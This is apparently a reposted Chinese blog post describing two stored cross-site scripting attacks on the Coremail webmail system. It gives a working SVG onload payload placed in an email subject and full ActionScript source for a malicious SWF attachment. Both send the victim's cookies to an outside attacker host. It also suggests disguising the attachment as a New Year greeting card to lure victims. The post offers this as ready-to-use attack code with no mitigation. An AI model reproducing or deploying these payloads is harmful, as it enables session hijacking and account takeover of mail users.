Coremail邮件系统存储型XSS两个

最新推荐文章于 2024-11-09 09:49:14 发布

weixin_34008933

最新推荐文章于 2024-11-09 09:49:14 发布

阅读量452

点赞数

CC 4.0 BY-SA版权

文章标签： php

原文链接：http://www.cnblogs.com/hookjoy/p/4039540.html

本文介绍两种针对Coremail邮件系统的存储型XSS攻击方式：通过SVG标签和特制SWF文件窃取受害者Cookies。SVG方法利用了邮件正文中的恶意代码，而SWF文件则作为附件发送，两者均可在受害者查看邮件或附件时实施攻击。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

（1）：Coremail邮件系统存储型XSS之一

给受害者发送主题如下的邮件：

<svg onload='img=new Image();img.src="//x55.me/geo.php?get="+document.cookie;'>



当受害者试图打开邮件时，cookie将会被窃取：

（2）：Coremail邮件系统存储型XSS之二

将特制的swf文件作为附件发送给受害者（这里可以选择在过节的时候下手，比如将文件名改称新年贺卡.swf）：

swf文件的AS代码如下（将就着看吧，东拼西凑整出来的）：

package {

    import flash.external.ExternalInterface;

    import flash.display.Sprite;

    import flash.display.Sprite;

    import flash.events.Event;

    import flash.net.URLLoader;

    import flash.net.URLRequest;

    import flash.text.TextField;

    import flash.text.TextFieldAutoSize;

    import flash.xml.*;

    import flash.events.IOErrorEvent;

    import flash.events.*;

    import flash.net.*;

    /**

     * @author User

     */



    



     public class csrf extends Sprite {

        

        private var loader:URLLoader;

        public function csrf() {

            var res:String = ExternalInterface.call("function(){return document.cookie;}");

            doGet(res);

        }

        

        private function doGet(res:String):void{

            loader = new URLLoader();

            var target:String = "http://x55.me/geo.php?get="+res;

            var request:URLRequest = new URLRequest(target);

            try {

                loader.load(request);

            } catch (error:Error) {

                sendDatatoJS("Error: " + error.getStackTrace());

            }

        }

        

        private function sendDatatoJS(data:String):void{

            trace(data);

            ExternalInterface.call("colsole.log", data);

        }

    }

    

    

}

一旦受害者打开附件里的swf文件，其cookies就会发送到攻击者的站点。

转载于:https://www.cnblogs.com/hookjoy/p/4039540.html